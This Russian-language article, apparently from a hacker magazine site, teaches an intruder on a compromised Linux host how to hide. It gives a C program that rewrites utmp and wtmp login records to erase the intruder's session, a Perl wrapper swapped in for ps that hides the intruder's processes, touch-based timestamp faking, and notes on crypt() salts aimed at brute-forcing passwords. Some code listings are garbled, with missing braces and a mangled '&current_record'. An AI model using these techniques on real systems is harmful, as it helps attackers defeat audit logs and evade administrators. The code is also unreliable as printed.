Обычно на взломанной машине админ
проверяет юзверей при помощи двух команд w и
who. Обе команды черпают информацию из одного
файла - utmp. В разных системах он находится по
разным путям. Узнать где храниться ваша
юзерская опись можно весьма таки просто,
буквально двумя строчками на C. 

test.c: 
#include <UTMP.H>
//
здесь лежат константы
UTMP_FILE, WTMP_FILE 

#include <STDIO.H>

int main(){ 
printf("Utmp file is located at '%s'\n",UTMP_FILE); 
return 0; 

Итак, скомпилируем эту гадость: gcc test.c -o test;./test 
В моей системе: Utmp file is located at '/var/run/utmp'. 

Но есть ещё один файл, называется он wtmp. Он в
таком же формате как и utmp, но содержит в себе
все записи об авторизации начиная с момента
установки системы. Узнать где оное файло
обитает можно заменив UTMP_FILE на WTMP_FILE в test.c. У
меня он валяется по прописке /var/log/wtmp. Итак,
мы узнали где брать инфу, но не узнали как её
привести к человеческому виду. Что же
содержит файл UTMP? А содержит он структуру
следующего вида (на всякий  пожарный
можно порыться в файле utmp.h): 

struct utmp { 
short ut_type; /*
тип входа
*/ 
pid_t ut_pid; /*
идентификатор pid
входного процесса
*/ 
char ut_line[UT_LINESIZE]; /*
имя
устройства tty - "/dev/"
*/ 
char ut_id[4]; /*
начальный id или
сокращенное ttyname
*/ 
char ut_user[UT_NAMESIZE]; /*
имя
пользователя
*/ 
char ut_host[UT_HOSTSIZE]; /*
имя хоста
для удаленного доступа
*/ 
struct exit_status ut_exit; /*
статус
выхода процесса, отмеченного как DEAD_PROCESS

*/ 
long ut_session; /*
ID сессии,
используемый для управления окнами

*/ 
struct timeval ut_tv; /*
был создан
элемент времени
*/ 
int32_t ut_addr_v6[4]; /*
IP-адрес
удаленного хоста
*/ 
char pad[20]; /*
зарезервировано
для будущего использования

*/ 
}; 

По мне так здесь всё и так понятно. Что
непонятно - читайте man utmp. Итак, напишем свою
маленькую софтину а-ля who. 

who.c: 
#include <STDIO.H>
 
#include <UTMP.H>
//
собственно здесь лежит
структура utmp
 
#include <FCNTL.H>
//
следующие три
заголовочника отвечают за низкоуровневый
ввод-вывод (open,read,etc.) 

#include <UNISTD.H>
 
#include <STDLIB.H>
//
для C++ exit лежит в этой
библиотеке 

void show_info(struct utmp* buf);//
эта
функция будет отображать то, что мы
прочитаем 
int main(){ 
struct utmp current_record;//
буффер для
чтения 

int utmpfd;//
дескриптор файла 
int reclen=sizeof(current_record);//
размер
структуры 
if((utmpfd=open(WTMP_FILE,O_RDONLY))==-1){// пытаемся
открыть файл на чтение 

perror(UTMP_FILE);//
если не
получается, то показываем ошибку и
вываливаемся с кодом 1 

exit(1); 

while(read(utmpfd,¤t_record,reclen)==reclen)//

пока мы можем читать объект структуры 
show_info(¤t_record); 
close(utmpfd);//
закрываем файл 
return 0; 

void show_info(struct utmp* buf){ 
printf("%-8.8s ",buf->ut_name);//
выравниваем
результат по правой границе и выводим имя 

printf("%-8.8s ",buf->ut_line);//
название
линии(/dev/pts/2, /dev/tty1, etc.) 

printf("%10ld ",buf->ut_time);
/* 
этого поля нет в структуре,
но если посмотреть в заголовочный файл, то
можно увидеть такую строку: # define ut_time ut_tv.tv_sec,
по сути говоря она просто достаёт значение
tv_sec, из структуры ut_tv. Если вы не найдёте
этой и др. инфы в заголовочном файле utmp.h, то
посмотрите в файлы, которые он include'ит. 

*/ 
printf("(%s)",buf->ut_host);//
выводим
откуда к нам сие припёрлось (если хост
локальный - будет пустая строка) 

printf("\n");//
комментариев
не требует 

Скомпилируем и запустим: 

# gcc who.c -o who 
# /who 
1099604090 () 
reboot ~ 1099604090 () 
runlevel ~ 1099604090 () 
1099604121 () 
1099604121 () 
LOGIN tty1 1099604121 () 
LOGIN tty2 1099604121 () 
LOGIN tty3 1099604121 () 
LOGIN tty4 1099604121 () 
LOGIN tty5 1099604121 () 
LOGIN tty6 1099604121 () 
1099604121 () 
root pts/0 1099604150 () 
root pts/1 1099604372 () 
root pts/2 1099625608 () 
root pts/3 1099623823 () 
root pts/4 1099611950 () 

#who # сравним с
оригиналом 

root pts/0 Nov 4 23:35 
root pts/1 Nov 4 23:39 
root pts/2 Nov 5 05:33 
root pts/4 Nov 5 01:45 

Не нужно быть Эйнштейном, чтобы увидеть
различия в выводе. Почему так? Для начала
давайте разберёмся, что такое пустые записи
и что такое эта запись LOGIN? На самом деле это
просто неиспользуемые терминалы. Как их
убрать? Есть два варианта: 

1) заключается в простой проверке имени
пользователя, но никто не запрещает
обзывать учётную запись LOGIN, посему это не
всегда будет работать; 

2) более продвинутый способ заключается во
внимательном просмотре структуры utmp и
определении там поля ut_type. 

Значения, которые нас интересуют, этого
поля следующие: 

LOGIN_PROCESS - на этом терминале томиться login в
ожидании юзверя 
USER_PROCESS - здесь уже пашет юзверь 
DEAD_PROCESS - нифига там нет, терминал свободен
ото всех и вся (это те самые пустые записи
где ничего нет)

Дата. Утилита who выводит её в формате <Месяц,
первые 3 буквы> <Число> <Время>. Как
его так собрать? Да очень просто, если
посмотреть на функцию ctime(time_t*), её вывод "Fri
Nov 5 08:51:05 2004\n". Нам не нужен год и день
недели. Итого получиться так: printf("%12.12s",ctime(&t)+4);
Почему так? Мы выводим только 12 символов. ctime(&t)+4
обозначает сдвиг указателя, таким образом
мы убираем день "Fri ". Далее, почему мы
выводим только 12 символов? Ведь нам нужно
убрать год, а он начинается с 13-го символа.
Есть, конечно, и другой вариант, strftime(char*
buf,size_t max,const char* format, 
const struct tm*), но он требует вызова функции
localtime и строкового буфера. Исходя из этого
самый простой вариант - через ctime.

Итого, что мы получаем: 

who2.c: 
#include <STDIO.H>

#include <UTMP.H>
//
структура и константы 
#include <FCNTL.H>
//
низкоуровневый ввод/вывод 
#include <UNISTD.H>
 
#include <TIME.H>
//
для ctime 

void show_info(struct utmp* buf); 
void show_time(time_t* t); 
int main(){//
эта часть кода не
претерпела никаких изменений 

struct utmp current_record; 
int utmpfd; 
int reclen=sizeof(struct utmp); 
if((utmpfd=open(UTMP_FILE,O_RDONLY))==-1){ 
perror(UTMP_FILE); 
exit(1); 

while(read(utmpfd,¤t_record,reclen)==reclen) 
show_info(¤t_record); 
close(utmpfd); 
return 0; 

void show_info(struct utmp* buf){ 
if(buf->ut_type!=USER_PROCESS)//
если на
этом терминале нет работающего
пользователя 

return;//
вываливаемся из
функции 

printf("%-8.8s ",buf->ut_name);//
эти
две строки были и в прошлый раз 

printf("%-8.8s ",buf->ut_line); 
show_time(&buf->ut_time);//

колоссальная функция, см. ниже 

if(*buf->ut_host!=0)printf("(%s)",buf->ut_host);//

если имя хоста не нулевой длинны 

printf("\n"); 

void show_time(time_t* t){ 
printf("%12.12s",ctime(t)+4);//
собственно,
тот изврат о котором говорилось выше 

Для интересных: выше упоминался журнал
авторизации за весь период "жизни"
системы, если интересно, то замените UTMP_FILE
на WTMP_FILE. У нас есть своя маленькая утилита
who. Круто. Но нафиг это нужно? Это была только
тренировка. Теперь собственно малина. Так
как нам известно как это всё работает и на
взломанной машине мы имеем достаточно прав,
то давайте попробуйте исключить себя.
Программа, удаляющая запись из utmp: 

out.c: 
#include <STDIO.H>

#include <FCNTL.H>
 
#include <UTMP.H>
 
#include <UNISTD.H>
 
int logout_tty(char* line){ 
int fd;//
файловый дескриптор 
struct utmp rec;//
временный буфер 
int len=sizeof(struct utmp);//
размер
буфера 

int retval=0;//
сколько мы
наудаляли 

if((fd=open(UTMP_FILE,O_RDWR))==-1)//
пытаемся
открыть файл на чтение и запись (внимание!
это может сделать только root)

return 0;//
если неудача -
вываливаемся с кодом 0 

while(read(fd,&rec,len)==len){//
читаем
пока есть что 

if(strncmp(rec.ut_line,line,sizeof(rec.ut_line))==0){//
сравниваем
имя терминала с переданным нам

rec.ut_type=DEAD_PROCESS;//
если это он,
то модифицируем его, будто бы на нём никого
и нет

if(time(&rec.ut_time)!=-1)// е
сли мы
смогли успешно получить время (для
несведущих time_t = long)

if(lseek(fd,-len,SEEK_CUR)!=-1)//
отодвигаемся
обратно на одну структуру 

if(write(fd,&rec,len)==len)//
перезаписываем
её 

retval++;//
увеличиваем
количество перезаписанных структур 



fdatasync(fd);//
сбрасываем
диисковые буфферы 
close(fd);// закрываем
дескриптор 

return retval;//
возвращаем кол-во
перезаписанных структур 


int main(int argc,char* argv[]){ 
if(argc==1){//
если нам не
передали параметров, то вываливаемся и
показываем как нас юзать 

fprintf(stderr,"usage: %s tty\n",*argv); 
exit(1); 

printf("Result: %s\n",logout_tty(argv[1])!=0?"Successful":"Fucked
up!");//
просто проверка на
успешность 

return 0; 

Скомпилируем и проверим: 

# gcc out.c -o out 
# tty 
/dev/pts/1 
# who 
root pts/0 Nov 4 23:35 
root pts/3 Nov 5 09:23 
# /out pts/3 #
заметьте, не /dev/pts/3,
а просто pts/3! 

# who 
root pts/0 Nov 4 23:35 

Мы добились своей цели, нас не видно через
стандартные утили w и who. Но! Эти утилиты
обладают большим недостатком в плане
безопасности. Что делает наша программа?
Она просто перезаписывает два поля: ut_type и
ut_time. Утилиты w и who проверяют эту константу,
когда мы подгоняли нашу версию who, то мы тоже
проверяли значение ut_type. Посмотрите что
будет, если запустить первую версию who.

# /who 
1099604090 () 
reboot ~ 1099604090 () 
runlevel ~ 1099604090 () 
1099604121 () 
1099604121 () 
LOGIN tty1 1099604121 () 
LOGIN tty2 1099604121 () 
LOGIN tty3 1099604121 () 
LOGIN tty4 1099604121 () 
LOGIN tty5 1099604121 () 
LOGIN tty6 1099604121 () 
1099604121 () 
root pts/0 1099604150 () 
root pts/1 1099639373 () 
root pts/2 1099639303 () 
root pts/3 1099639633 () 
root pts/4 1099639310 () 

Почему так? Мы не затираем структуру
полностью, таким образом информация о том,
кто там сейчас сидит остаётся, меняется
лишь время доступа. Для устранения это
проблемы: нужно найти время запуска системы
и записать его в поле ut_time (мол, никто
терминал и не трогал), обнулить либо имя
хоста  либо имя пользователя. Я не буду
писать под это реализацию, но скажу где это
нужно брать. Есть такой фалик /proc/uptime, с ним
работает утилита uptime, входящая в состав
пакета sh-utils. И второй вариант, он более
простой, это функция sysinfo(). Посмотрите man по
ней и всё станет ясно. Вот маленький пример: 

#include <LINUX kernel.h> 
#include <LINUX
sys.h>
 
#include <STDIO.H>
 
#include <SYS sysinfo.h>
 

int main(){ 
const long minute=60; 
const long hour=minute*60; 
const long day=hour*24; 
const double megabyte=1024*1024; 
struct sysinfo si; 
sysinfo(&si); 
//
в это структуре поле uptime-кол-во
секунд, кому не лень, может использовать
strftime 

printf("System uptime: %ld days, %ld:%02ld:%02ld\n",si.uptime/day,//
вычисление
кол-ва дней 

(si.uptime%day)/hour,(si.uptime%hour)/minute,(si.uptime%minute)); 
//
по моему операции остатка
от деления и, собственно, деления объяснять
не нужно 

printf("total RAM: %5.1f MB\n",si.totalram/megabyte); 
printf("free RAM: %5.1f MB\n",si.freeram/megabyte); 
printf("process count: %d\n",si.procs); 
return 0; 

Для любопытных: почему в программе out.c мы не
выходим после удаления первой записи, ведь
имена терминалов уникальны? Дело в том, что
записи вносятся как в utmp, так и в wtmp файлы. Т.е.
если администратор посмотрит на журнал wtmp (а
это можно сделать указав стандартной
команде who параметром имя файла и путь wtmp),
то он увидит запись об аутентификации и
начнёт подозревать и ёрзать, и именно
поэтому удаляются все записи, а заменив UTMP
на WTMP удаляются все файлы в журнале wtmp. Вряд
ли админ заметит недостачу tty1 или pts/3. Но
есть и другая сторона проблемы с файлом wtmp.
Если система стоит довольно долго, то файл
будет весьма немалых размеров, что потянет
за собой весьма долгую обработку.
Единственное решение этой проблемы -
разработка программного интерфейса,
который будет считывать не одну структуру,
а, например, 50 за раз. 

Для следующей части статьи был
использован материал книги "UNIX/Linux:
теория и практика программирования" и
собственные догадки и реализации. 
Опытный админ, после обнаружения каких-то
глюков сразу же лезет смотреть вывод ps waux.
Там подробно отображается информация о
текущих процессах, лечат это так: 

# mv ps .some_shet_ 

делается скрипт, я предпочёл замутить его
на perl, следующего контента: 

#!/usr/bin/perl -w 
$x=(join " ",@ARGV) || ""; 
@arr=`.some_shet $x`; 
$perls=scalar grep /perl/, @arr; 
$bashes=scalar grep /bash/,@arr; 
$perls-- if $perls; 
$bashes-- if $bashes && $x; 
$perls_count=0; 
$bashes_count=0; 
foreach $item(@arr){ 
if($item=~/bash/){ 
print $item if($bashes_count++<$bashes); 
}elsif($item=~/perl/){ 
$perls_count++; 
print $item if($perls_count++<$perls); 
}else{ 
print $item unless $item=~/shet/; 

Этот скрипт скроет лишний интерпретатор
perl и лишний bash, при небольшой модификации
можно подогнать его для удаление процессов
определённого пользователя. При желании,
размер можно подогнать комментариями, а
дату последнего изменения при помощи
команды touch. Теперь пара слов о функции crypt.
Очень уж оригинальная эта функция crypt. Её
полный прототип char* crypt(const char* key,const char* salt); key
- пароль для шифровки, salt - два символа из
набора [A-Za-z./]. Лежит она в заголовочном
файле crypt.h. Вот код, который показывает
результат работы функции crypt:
 
#include <CRYPT.H>
 
#include <STDIO.H>
 
int main(){ 
printf("%s\n",crypt("hello","as")); 
return 0; 

Вот её результат: asQGrb.c3V5eI 

Хотя после экспериментов с утилитой passwd
вскрытие показало, что будет так:
$1$asdassad$C9LtkZWUEikiD8Ckm27Ui1. passwd в новых Unix-like ОСях
юзает MD5. Т.е. почитав исходники passwd (в man на
моей системе этого по странным причинам нет),
утилита passwd генерирует такую соль: "$1$<здесь
генериться 8-ми символьная мурня из
текущего времени>$".

Ну что же, попробуем: 

#include <CRYPT.H>
 
#include <STDIO.H>
 

int main(){ 
printf("%s\n",crypt("hello","$1$asdassad$")); 
return 0; 

Вот результат работы: $1$asdassad$C9LtkZWUEikiD8Ckm27Ui1 

Примечание: на некоторых платформах могут
быть ошибки при компиляции, для их
устранения нужно задефайнить константу
_XOPEN_SOURCE и попытаться скомпилировать, если
это не поможет, попытаться прилинковать к
программе библиотеку crypt: 

gcc crypt_test.c -o crypt_test -lcrypt 

На большинстве Linux'овых дистров функция crypt
вынесена в отдельную библиотеку. Если эти
варианты не проканают, то читайте man. Что
даёт нам это чудное познание? Ну не знаю,
может она кому-то поможет для общего
развития, а кому-то в личных целях. Где-то на
сайте я видел статью в архиве журналов о brute
force движках, как можно увидеть, соль
клепается в начале пароля - первые восемь
символов. Таким образом выделив соль и
написав грамотный brute force можно за некоторое
время подобрать пароль. Предупреждаю сразу:
если вы подбираете пароль опытного админа,
то вам придётся изрядно попотеть. В
принципе это всё, что я хотел сказать. Не
судите строго, это моя первая статья и я
хотел бы узнать что сейчас интересно народу,
а потом раскрыть данную тему.

  • Подпишись на наc в Telegram!

    Только важные новости и лучшие статьи

    Подписаться

  • Подписаться
    Уведомить о
    0 комментариев
    Межтекстовые Отзывы
    Посмотреть все комментарии